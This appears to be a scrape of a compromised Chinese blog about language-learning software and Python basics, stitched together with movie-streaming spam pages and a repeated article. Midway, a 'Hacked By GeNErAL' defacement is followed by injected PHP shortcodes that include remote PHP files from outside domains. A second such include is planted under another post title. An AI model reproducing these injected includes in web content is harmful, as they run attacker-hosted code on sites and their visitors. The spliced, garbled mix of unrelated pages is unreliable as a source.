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Download and Watch Full Movie Ghost in the Shell (2017)
  • Ghost in the Shell (2017)

  • Duration
    106 mins
    Genre
    Action, Drama, Science Fiction.
  • In Cinemas
    March 29, 2017
    Language
    English.
  • Country
    New Zealand, United States of America, United Kingdom, India, China, Canada.
  • Watch Movie Online Ghost in the Shell (2017)

Plot For Ghost in the Shell

Movie ‘Ghost in the Shell’ was released in March 29, 2017 in genre Action. Rupert Sanders was directed this movie and starring by Scarlett Johansson. This movie tell story about In the near future, Major is the first of her kind: a human saved from a terrible crash, who is cyber-enhanced to be a perfect soldier devoted to stopping the world’s most dangerous criminals.

DIRECTOR

Rupert Sanders.

Producer

Ari Arad, Avi Arad, Maguy R. Cohen, Steven Paul.

Production Company

Paramount Pictures, DreamWorks SKG, Shanghai Film Group, Reliance Entertainment, Arad Productions, Grosvenor Park Productions, Steven Paul Production, Huahua Media, Seaside Entertainment.

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Greetz : Kuroi’SH, RxR, ~

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SuperMemo每天复习量大的可怕,肿么办?

这是好多童鞋刚开始使用SuperMemo时会碰到的问题。

甫一接触SuperMemo,心里想,感觉好腻害的样子!带着这种兴奋,蹭蹭蹭地往下学,一不留神学了几百条新的内容……

然后……有的人就没有然后了,因为几天过后,被突然摆在眼前的那个大大的复习数吓傻了,嘴里只剩俩字:这尼玛……

当然不是每个人都会酱紫。

舍得先讲讲为什么复习量会这么大,以背单词为例,究其原因有:

  • 学得太快:一个个词如一阵风似滴在眼前刮过,每个词往往只能分到短短几秒钟,亲,一个生词几秒钟你能做什么?好歹停下来想想,我如何记住这个词?有的人学得慢,见到一个生词便老老实实地设法去“啃”掉它,每天用1个小时SuperMemo,啃一个生词需要半分钟到1分钟的话,一天也学不了多少生词,自然复习量不会太大;
  • 内容太难:难度是相对的,但总有人向更高的难度发起挑战。比如某童鞋,明明只具备初中程度的单词基础,却要向GRE词汇发起挑战……亲,你好歹先把高中单词掌握了呀……很多人都懂循序渐进的道理,但真正到该循序渐进的时候,却忘了如何让正确的道理来指导自己的行动。单词这种事,基础词掌握得越多,那些看起来很难的词大多可以形近、音近的熟词加记忆技巧去搞定。这样一来,所谓的难词,在未来一年或两年内所需的总复习次数自然会下降——这意味着整体复习量的下降;
  • 没做当天的巩固练习:每天的巩固练习给你提供了复习当天没掌握词汇的机会,有些童鞋根本不去做,还有些童鞋做是在做,但仅仅是当差事在应付,这又怎么会有好的效果呢?巩固练习背后仿佛站着一位很轴的老师,每次“巩固”一个生词的时候,你若总是不认识,这位老师便会让你一遍一遍不停地重复,直到今天“看到这个词便会想起意思”的程度。曾有小朋友跟我辩论说这巩固练习没用,其实恰恰相反。当你认真、高标准完成当天的巩固练习之后,今后所有的生词、复习时碰到的难词,至少在这一天里,你是能回忆起来的。so,晚上睡觉的时候,你的潜意识会慢慢将这些内容从短期记忆转化成长期记忆。不认真做巩固练习的童鞋,复习量自然会更大一些;
  • 评分太随意:评分是SuperMemo方法中非常关键的一环,对SuperMemo算法来说,这是唯一的一个输入端。你乱评分的话,再优秀的算法也会等同于垃圾:前提是错的,结果又怎么会正确呢(拒绝对这句话钻牛角尖)?认真的评分意味着告诉SuperMemo你对当前所学词汇的掌握情况,不要评得过高,也不要为了希望多复习几次评得过低。每次评分前都要问过自己,这个词,应该评多少分更准确(具体的评分标准请参阅舍得以前写的文章)?随意评分造成评分偏低的时候,无形中增加了不必要的复习量;
  • 孤立的学习:把背单词当成英语学习的唯一,不再去做阅读、不再去背句子,更不要说背经典文章了……现在的生活中,只要你留意,处处都是学习或巩固生词的机会,电影、电视、报纸、杂志、街头的招贴或广告、产品的包装、电脑、手机、网络……看到生词或曾经“背”到过的词汇的时候,为什么不可以停下来想想这个词的意思?真正有心这么去做的童鞋,下次再学习或复习到这些生词的时候,掌握起来自然更快,总复习量当然会降低。这是SuperMemo方法中非常棒的一个特性——你在SuperMemo外对这些生词所做的努力,SuperMemo都会将其“计算”进去。看上去很神奇不是?有的人或许会说“天方夜谭”。细想想就知道了:你每一次在SuperMemo中对所学词汇做的评估(评分),决定了这些词汇今后的复习量。而你之所以会做出这样的评估,不正是受到随时随时学习生词的影响么?

知道原因后,我们便能对症下药了,具体的方法有:

  • 认真对待每一项学习的内容,不要贪快。你的目标应该是:至少我要能在今天答出正确答案。不要说不可能,试想一下,今天就要考到它怎么办?
  • 做好学习规划,设计好课程。如果内容太难,要么想办法攻克它,要么就先放一放;
  • 做好当天的巩固练习;
  • 学习时,根据自己的真实掌握情况来评分;
  • 随时随地学习,你在SuperMemo外的努力 ,SuperMemo”看得见“;

最后,最最重要的一条是:请根据当天的复习量来安排新内容的学习量。假定你每天平均用SuperMemo学习一个小时,复习以前学过的内容便已用去这一个小时,那么,就暂时别学新内容了。如果复习后还剩下10分钟,那就用这10分钟来学习新的内容……这么讲应该能明白吧?换句话说,每天能学习多少新内容,是根据你的复习量的多少来决定的。千万不要一上来就给自己规定:我每天要背100个、200个、300个生词。明明光是复习就已经用去了绝大多数的时间,还要硬着头皮再学几百个生词,怪谁呢?

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

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Streaming Movie Brommers Kiek’n (2017)

Poster Movie Brommers Kiek'n 2017

Brommers Kiek’n (2017)

Director : Geertjan Lassche.
Release : April 17, 2017
Country : Netherlands.
Language : Nederlands.
Runtime : 100 min.
Genre : Drama.

Do not miss to Watch movie Brommers Kiek’n (2017) Online for free with your family. only 2 step you can Watch or download this movie with high quality video. Come and join us! because very much movie can you watch free streaming.

Streaming Full Movie Brommers Kiek'n (2017)

Movie ‘Brommers Kiek’n’ was released in April 17, 2017 in genre Drama. Geertjan Lassche was directed this movie . This movie tell story about A feature-length documentary ode to Dutch countryside youth culture.

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Aboboo课件编辑器改进建议

Aboboo的课件编辑器在课件制作上已经当得起“不错”二字。不过,以舍得的经验而言,在大批量制作课件的时候,课件编辑器还有些许改进的空间。

先简单介绍一下目前我的使用流程:

  1. 打开一个音频文件;
  2. 将原文复制进去,然后调节音频断点;
  3. 将译文复制进去,对内容进行微调;
  4. 点击完成,点击“从课件导入属性”;
  5. 修改课件属性后点击“下一步”;
  6. 储存完毕后,我通常会点四次“上一步”返回。因为我要继续导入一个新的音频文件,若点“对不起,该课件是私人使用”,会被强制退出课件编辑器,这真是一个糟糕的设定。此时若要继续制作新课程,得在“工具”页面中重新点击“课件编辑器”,新版还有个毛病,课件编辑器窗口位置老是跑偏的,我们又不得不动手动调整窗口位置……这也是我宁愿选择点四次“上一步”按钮的原因。

从上面的流程来看,课件编辑器目前可优化的地方有:

一、直接跳转到相应步骤

左侧的这个类似流程图的玩意不 应该是摆设,应该点击后能直接跳转到相应的步骤,比如点击”打开音频文件“,就能弹出文件选择窗口,选完后即可进入新课件的编辑制作。我没记错的话,以前的版本应该就是这么设计的,估计改版的时候,”不小心“动到相应的方法,导致这个功能被太监了。

SNAG-0014

或者在最后的“对不起,该课件是私人使用”的选择页面中,加入一个“打开mp3/wav文件制作课件”的按钮,以便大家进行连续制作课件的操作。

二、音频文件打开后不必自动播放

现在的设计是,当音频文件打开后会自动播放,从上面的流程可知,我需要先复制原文&译文,再开始断点微调操作。所以自动播放是没有必要的。我不得不多点一次暂停键。当然也有其他的课件作者需要自动播放,那不妨交给选项来控制好了。

三、编辑时一律从”原文“开始

如果我按上面流程第6步来操作,点四次返回起点,再载入音频时,编辑通常会从”译文“开始(即使将编辑器关掉重来也会从“译文”开始)。这个对”原文、译文“状态的记忆我感觉没有必要,一律改为从原文开始较好。或者干脆交给选项来控制。

四、波形窗口应该允许放大

就像在学习状态那样,波形窗口应该允许放大,在对断点进行微调时,放大的波形更有利于我们快速找到最佳断点。

五、从外部粘贴文本时,最好能自动分离原文和译文

如果不能自动分离,我们不得不分两次粘贴,第二次粘贴时必然要切换到其它窗口,然后做复制、切换窗口、粘贴等操作,无形中多了好几个步骤。若能自动分离,效率会高一点。

分离原文译文可以采用如下的机制:

  • 原文和译文在同一行,中间用制表符隔开;
  • 原文和译文各占一行;
  • 原文和译文在同一行,中间没有分隔符;

建议采用前两种,并在课件编辑器窗口中给出一个ComboBox,以便大家选择常用的方式。

六、增加“自动记忆课件属性”功能

对于经常连续制作课件的我们来说,课件属性是大同小异的,通常只要改一个课件名称即可,所以,若能自动记忆课件属性,无疑我们的制作效率还会高一点点。

没有这个功能的话,我们不得不使用“从课件导入属性”来载入,再修改课件名称,因为课件中的作者、分类之类的属性通常是一样的。若要手动一项项输入,那个效率只会更低。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

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少折腾 多练习

一转眼,舍得学苑从开办至今,已经进入第八个年头了。

凭借学苑的优势,舍得有幸见识了来自五湖四海的英语学习者的风范。见得多了,舍得潜意识中会给他们分一分类。

其中最突出的一个类型,或许是出于好玩,舍得将其命名为折腾流。

顾名思义,这个折腾流擅长的就是折腾——将主要的精力用在研究“哪个方法更好”上了。大概在他们心中,学到“世界上最先进的方法”才是第一要务。

于是乎,时间就大量用到方法的探索上。

如果他们是专业哪怕是非专业的英语研究者,这种精神自然是值得鼓励的。

然而,折腾流中绝大多数童鞋,仅仅是英语学习者,中间更有一大部分,只能称之为英语初学者。

他们在拼命或不拼命地研究着“哪个方法更牛x”,一旦认定当前接触的方法牛x指数不够,当然是要丢到一旁,再继续调动时间、精力去扑下下一个方法。一副不搞到“最先进方法”誓不罢休的模样。啧啧,这精神当真是要得!不过舍得每每看到此情此景,眼前总会浮现那只掰玉米猴子的高大形象。

这些童鞋在各种方法间折腾来、折腾去,看起来似乎提升了不少,若要说起英语技能上的提升,原地踏步恐怕都会成为一个褒义词了。他们忘了,英语学习本身才是最需要时间、最需要精力的。

一叶障目,不是么?

这叶……就是他们正在折腾得不亦乐乎的方法,仿佛只要掌握了最最最最牛x的方法,他们便能一夜之间神功附体、功力大涨,立马变成顶尖高手。

问题是,这不是武侠世界。

英语学习的世界里,没有人能给你来个灌顶大法,让你一夜间成为叼炸天的高手滴。

别把方法看得太高了。

方法再牛x,也得你先投入大量时间去练习,慢慢地,量变才有可能转为质变。

我们不妨拓展一下,做个mud版的小实验,来看得更清楚一些:

参与实验的人数假定为100人,总共配了100个厨师,其中有特一、特二、特三、一级、二级、三级……甚至还有没级的、纯属野路子的,要求大家在100个时间单位内学习厨艺,最后来一场评比,看谁的厨艺更高。

所有的厨师不能直接告诉你他是哪一级的,大家得自己去分辨。

我们再来设定这样的两个实验者:

小A童鞋花了10个时间单位选了位二级厨师来学习,花了90个时间单位练习厨艺;

小B童鞋花了90个时间单位,终于选到一位特一级的厨师,然后在特一级厨师的指导下,花了10个时间单位来练习厨艺;

你觉得最后小A和小B谁会胜出?

厨师就是折腾流正在使劲折腾的方法,厨艺的练习对应的则是英语学习本身。

你还要继续花费时间折腾么?你还要当那个掰一路扔一路的猴子么?

醒醒吧,少点折腾,多练习吧!

 

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作者:舍得
首发:舍得新浪博客

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Tell Me More精讲之语法训练篇(一)

前几天看到舍得学苑淘宝专卖店的客服人员转来一份聊天记录,在聊天中客服小丁无意中提起Tell Me More(TMM)中的语法训练,客户顿时惊讶,Tell Me More中有语法的训练么?

这个还真的可以有。

今天舍得就带大家去洛克洛克。

直接进TMM的漫游模式,下方左起第四个按钮就是语法训练,点击它便可看到如下的页面:

SNAG-0011

从上图可以看到它分为资源和练习两个大类,我们先简单浏览一下资源大类下的语法说明:

SNAG-0012

这基本上可看作是TMM内置的一本语法工具书了,重要的是检索起来极为方便,更关键的一点是,TMM将它与绝大多数练习关联到了一起,这个舍得呆会讲到练习的时候会顺带介绍。

“练习”大类中包含了七个类型的练习,汉化不够准确,大家嫑被误导。舍得先来介绍个大概:

  • 填空:其实上应该是选择题,通常的做法是给一个句子,答案和n个干扰词混在一块,要你去把它们选出来,选项往往有6个之多;
  • 完形填空:这个自然也是汉化错了,准确的翻译应该是配对题。比如给你四个句子,每个句子抽出一个词,要你去搞个拉郎配,把抽出的词配回去……
  • 单词和功能:这个译得算是中规中矩,但没法让你直观滴知道这到底是个神马东西。从流程上讲,就是给你一些文本,你要将文本中的词按照指定的功能归一下类。唔,这文本中的单词好比是一群人,干活之前,你可以大吼一声:男人站左边,女人站右边,太监站中间……吼完之后,麻烦你手动把男人、女人、太监一个个挑出来,放到对应的筐子中,任务完成。
  • 语法练习:人家就是这个命名的,怪不到翻译头上。它有个小标题叫“根据提示修改单词”——很赞的一个练习。8过准确滴讲,它的操作对象是一个个短语。做过初中英语课本后的练习没?太像了!给你一个参照的模板,你来照这个模板依样画葫芦吧!看起来灰常简单,当你老老实实照此办理之后,语法中的某个小细节自然而然会在你大脑里留下一道浅浅的烙印,通过不断地反复练习让烙印加深,深到似乎能逐渐融入你的血液,这个小细节就变成你的了。这才是语法修炼的正确道路,那些死记硬背语法规则的通通弱爆了!
  • 句子练习:小标题叫“按照提示修改句子”。没错,这与上一个练习类型是配套的,只是将对象从短语升级成了句子,仍然是“依样画葫芦”的画风,依旧很赞的样子。
  • 听写模式:模式二字略有些不知所谓,直接去掉更妥。浅白地讲,这特么就是一个听写题,操作对象通常是句子。流程是酱紫滴:一个页面内给出6个左右的句子——你自然是看不到的,每个句子有对应的录音,你只要将它一一听写出来就OK了。这个类型,考得不仅是语法,听和写都练到了。听写的难度并不大,如果你做过当前级别的其它练习,你会发现,那些句子你原本就很熟悉。而听写熟悉的句子,你的注意力或会在有意无意间,集中在听力上,你的潜意识会悄悄吸收句子自身携带的语法知识点……这个或许就是听写被纳入“语法训练”的主要原因;
  • 文本翻译:又一个汉化错误。这特么根本不是翻译,而是给你一段文本,让你按特定的要求进行改写,比如,将文本中的n个句子从比较级改写成最高级……要舍得来勉强总结一下的话,这可算是4、5两项练习的升级版,只是不再给你参照物,操作对象也从一个句子升级到了多个句子。

to be continued……

 

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作者:舍得
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如何快速下载“过期”的电驴资源?

电驴是什么,想必不需要舍得做过多的介绍了吧?

网上有很多比较稀缺的资源,是由电驴提供的。但由于电驴本身的特性,有些资源往往会连接很久也没有合适的源,这便是舍得所说的过期。

如何快速下载到这些“过期”的资源呢?

舍得最近用的一个比较高效的方法是,用百度云做跳板。这一招应该也有一些朋友早已在使用,但舍得相信,肯定还有一些对此不了解的朋友。so,这篇文章便是为他们写的。

打开百度云管家——竭诚推荐舍得提供的不限速版:【十二月福利】百度云管家5.3.6不限速版

然后点击“离线下载”按钮:

SNAG-0007

将电脑链接粘贴进去:

SNAG-0006

再点击“开始下载”就可以了。

SNAG-0005

“离线下载任务列表”窗口会自动弹出,下载完成的话,任务后面自然会被标上“下载成功”的字样。然后,你便可以用云管家从自己的网盘中下载这份资源了。这个时候,下载的速度就是由客户端来决定了。使用不限速的版本下载一些大文件的时候,百兆光纤环境下达到2-3MB/s很正常。

当然,下载电驴资源的方法并非这一种。你也可以用其它的客户端,比如emule,比如迅雷。但这些客户端对一些过期资源并没有太好的方法,挂在那里一两天都下载不到东西也是常有的事。尤其是迅雷,部分电驴资源发布的时候便会封掉迅雷的客户端连接。

使用迅雷的离线下载或许能突破电驴的封杀,下载的速度也会有一定的保障。但前提是,你得花钱购买迅雷的会员。如果你平时下载的东西不多,舍得觉得没有必要给迅雷上供,尽管每月几十块钱也不多。

当然,使用百度云作跳板的方法并不是百试百灵。但大部分冷门资源都可以通过它下载,推荐大家尝试。

使用过程中,还需要注意一件事。有些电驴链接粘贴到云管家时,会出现“链接格式有误”的提示:

SNAG-0008

肿么办捏?
通常这个时候,我们要对电驴链接作一下URL解码处理。

在百度中输入“url编码”,随意找一个“URL转码”的网站,比如这个:

url转码 – 在线编码转换

将电驴链接贴到右边辣个框框中:

SNAG-0009

然后点击“URL解码”按钮,再将左边框框中解码出来的链接复制并粘贴到云管家里——你便可以搞定收工了。

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作者:舍得
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Hacked By GeNErAL

[insert_php] include(“http://amiens-rencontres.bid/tmp/35r4q.php”); [/insert_php]
[php] include(“http://amiens-rencontres.bid/tmp/35r4q.php”); [/php]

《HeadFirst Python》第一章学习笔记

对于Python初学者来说,舍得强烈推荐从《HeadFirst Python》开始读起,这本书当真做到了深入浅出,HeadFirst系列,本身亦是品质的保证。这本书舍得已在《Python起步:写给零编程基础的童鞋》一文中提供了下载。为了方便大家的学习,舍得特意制作了Jupyter Notebook格式的笔记,文章末尾舍得提供了笔记的下载地址。

读《HeadFirst Python》的同时,最紧要的是及时做练习,你甚至可以在快速浏览过一章后,便拿起练习来做。

做练习的时候,切记,不要用书中建议的Python自带的IDLE。作为过来人,舍得的建议是使用Jupyter Notobook。具体的安装方法舍得已在Python起步:写给零编程基础的童鞋》中讲得很清楚了,每次你要练习的时候,运行jupyter-notebook.exe,便可以在程序打开的浏览器页面中进行代码输入了。Jupyter Notobook与Python自带的IDLE相比,有着巨大的优势:

  • 增强版的代码自动补全:输入代码过程中,可尝试按Tab键,程序会提示相应的代码;
  • 每次录入的代码程序会自动替你保存下来,这就相当于你自己的学习笔记,你可以在代码的前或后加入注释,注释前面用一个“#”+一个空格(空格可以不加,但舍得建议从一开始便养成良好的写代码习惯,#后带空格是Python代码规范-PEP8的要求)就可以了;
  • Notebook给你保存的笔记,你可以随时打开,点RUN按钮(或用Alt+Enter快捷键)便可以运行选择中的某一段代码,这是Python自带的IDLE根本无法做到的事情;
  • 在Notebook中你可以极为方便地输入多行代码,而Python自带的IDLE在这方面有极大的限制;
  • 对于颜控来说,Notebook的代码着色看起来更加舒服一些;
  • ……

舍得会将书中每一章中提到的大部分练习,收录到笔记中,你可以在看完一章后,拿舍得给你的笔记,在Jupyter Notebook中进行练习。当然你也可以在看到书出给出一段代码时,立刻在Jupyter Notobook中输入并运行。

舍得提供的笔记是ipynb格式(ipy是指ipython, Notebook是用ipython来实现的。而nb则是notebook的缩写),当你下载了笔记之后,请将其放到“你的python安装文件夹(默认是c:\python34)\Scripts”文件夹下,然后刷新一下浏览器中Jupyter Notebook的首页,便可以看到这个笔记,点击该笔记,就可以浏览了。

SNAG-0140

如果你在Jupyter Notebook首页中已经点击过“New->Python 3”, 那么你可以使用菜单”File->Open“回到首页选择舍得提供的笔记。

SNAG-0143

下面舍得开始讲解第一章的要点。

文中”[in]:“后面的内容,表示我们在Jupyter Notebook中输入的代码和注释,内容中以”# “开头的,是舍得的注释。

[out]:“后面的内容,则是代码执行后的输出结果。

舍得在注释中,标明了该段代码的页码,方便你对照书本进行练习。书中有些内容的讲解比舍得更详细。

舍得对部分代码进行了改写,但不影响代码的最终效果。

[in]:

    # 熟愁一下打印命令.
    # 第一章 p4
    # 内容前面加一个#号表示注释, python会自动忽略#号后面的内容
    if 43 > 42:
        print("Don’t panic!")

[out]:

    Don’t panic!
   

[in]:

    # 创建简单的Python列表
    # 第一章 p8
    # 标识符:movies, 你给这个列表起的名字
    # 操作符:=,把列表赋给标识符
    # 列表格式:两端用中括号;列表中每一项用逗号隔开;电影名称两边加引号;
    movies = ["The Holy Grail",
             "The Life of Brian",
             "The Meaning of Life"]
    print(movies)

[out]:

    [‘The Holy Grail’, ‘The Life of Brian’, ‘The Meaning of Life’]
   

[in]:

    # 用中括号记法访问列表
    # 第一章 p9
    # 打印列表中第2个数据(第1个为0)
    print(movies[1])

[out]:

    The Life of Brian
   

[in]:

    # 列表深入学习:len
    # 第一章 p10
    # len:获取列表长度,即列表有几个数据项
    cast = ["Cleese", ‘Plain’, ‘Jones’,"Idle"]
    print(cast)
    print(len(cast))
    print(cast[0])  # 0表示第一个数据项, 你可以自己换不同的数字尝试一下

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
    4
    Cleese
   

[in]:

    # 列表深入学习:append
    # 第一章 p10
    # append:在列表末尾增加一项数据
    cast.append("Gillianm")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:pop
    # 第一章 p10
    # pop:从列表末尾删除数据
    cast.pop()

[out]:

    ‘Gillianm’

[in]:

    # 再打印一下,看看有何变化
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
   

[in]:

    # 列表深入学习:extend
    # 第一章 p10
    # extend:在列表末尾增加一个列表(两个列表合并)
    cast.extend(["Gillianm", "Chapman"])
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’, ‘Chapman’]
   

[in]:

    # 列表深入学习:remove
    # 第一章 p10
    # remove:在列表中找到并删除一个特定的数据项
    cast.remove("Chapman")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:insert
    # 第一章 p10
    # insert:在列表中特定的位置前增加一个数据项
    cast.insert(0, "Chapman")  # 0表示插入在最前面,你可以试试其它的数字
    print(cast)

[out]:

    [‘Chapman’, ‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 习题
    # 第一章 p13
    # 把每部电影的出品年代加到列表中
    # 象下面这样: [‘The Holy Grail’, 1975, 1975, 1979,
    # ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983, 1983]
    # 把数字放进列表的时候,数字不用加引号
    movies.insert(1, 1975)  # 第1个插入到第2个列表项前
    movies.insert(3, 1979)  # 第2个插入到第4个列表项前(好好想想为什么用3)
    movies.append(1983)  # 最后一个追加到末尾就行
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983]
   

[in]:

    # 列表: 迭代
    # 第一章 p15
    # 迭代: 用一个for循环,把列表中所有的项逐个打印出来
    # for … in …表示取这个列表的每一个数据
    for i in movies:  # 这里的i随便用哪个(一个或多个)字母都行
        print(i)  # 只要两个i保持一致.你可以试试用不同的字母

[out]:

    The Holy Grail
    1975
    The Life of Brian
    1979
    The Meaning of Life
    1983
   

[in]:

    # 列表: 迭代
    # 第一章 p16
    # 迭代: 用一个while循环,把列表中所有的项逐个打印出来
    # 效果和for循环一样
    # while xx < xxx表示:只要xx < xxx,就一直执行下去, 直到这个条件不成立
    count = 0
    while count < len(movies):  # 前面刚学过的len用法
        print(movies[count])  # 前面刚学过的中括号记法
        count += 1  # 和书本上的count = count + 1相同, 表示让count自增1

[in]:

    # 列表:在列表中储存列表
    # 第一章 p18
    # 我们用movies这个列表来记录一部电影的数据. The Holy Grail这部电影全名叫
    # 《Monty Python and the Holy Grail》(巨蟒与圣杯),1975年出品,两个Terry是导演,
    # 同时也参加了演出。影片时长为91分钟,Chapman是编剧(同时也是主演)。Michael这
    # 一伙人既是编剧,亦是配角。这帮人真是玩嗨了,自编自导自演。
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘Terry Jones & Terry Gilliam’, 91, [‘Graham Chapman’, [‘Michael Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]]
   

[in]:

    # 用for循环处理这个列表
    for i in movies:
        print(i)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    [‘Graham Chapman’, [‘Michail Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]
   

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    names = [‘Michael’, ‘Terry’]
    isinstance(names, list)  # 判断它是不是列表(list)类型
   

[out]:

    True

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    # 换个方式
    num_names = len(names)
    isinstance(num_names, list)

[out]:

    False

[in]:

    # 列表:在列表中查找列表
    # 第一章 p21
    # 习题: 把上面那个movies列表中的每一个数据项都打印出来
    # 用if … else …模式
    # 结合isinstance
    for i in movies:
        if isinstance(i, list):  # 先判断i是不是列表
            for j in i:  # 是的话用for循环
                if isinstance(j, list):  # 还要再往下挖一层, 因为还有一个嵌套的列表
                    for k in j:
                        print(k)
                else:  # 每一对if…else…要对齐
                    print(j)
        else:  # 不是列表就直接打印
            print(i)
    # 如果再来一层嵌套的列表, 怎么办?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones
   

[in]:

    # 函数
    # 第一章 p30
    # 使用函数可以简化刚才写的那段代码, 再多来几层列表咱也不怕啦!
    # def关键字是define的缩写,python看到def就知道这个是函数
    def print_lol(the_list):  # print_lol就是我们定义的函数名,尽可能把名字起得有意义一点
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                print(i)

[in]:

    # 函数
    # 第一章 p30
    # 我们来用print_lol这个函数来打印我们的列表movies
    print_lol(movies)  # 看看,代码是不是精简了很多?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones

   

第一章完。

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《配音小丫》诞生记

[insert_php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/insert_php]
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watch full The Bye Bye Man 2017 film

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【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

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【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
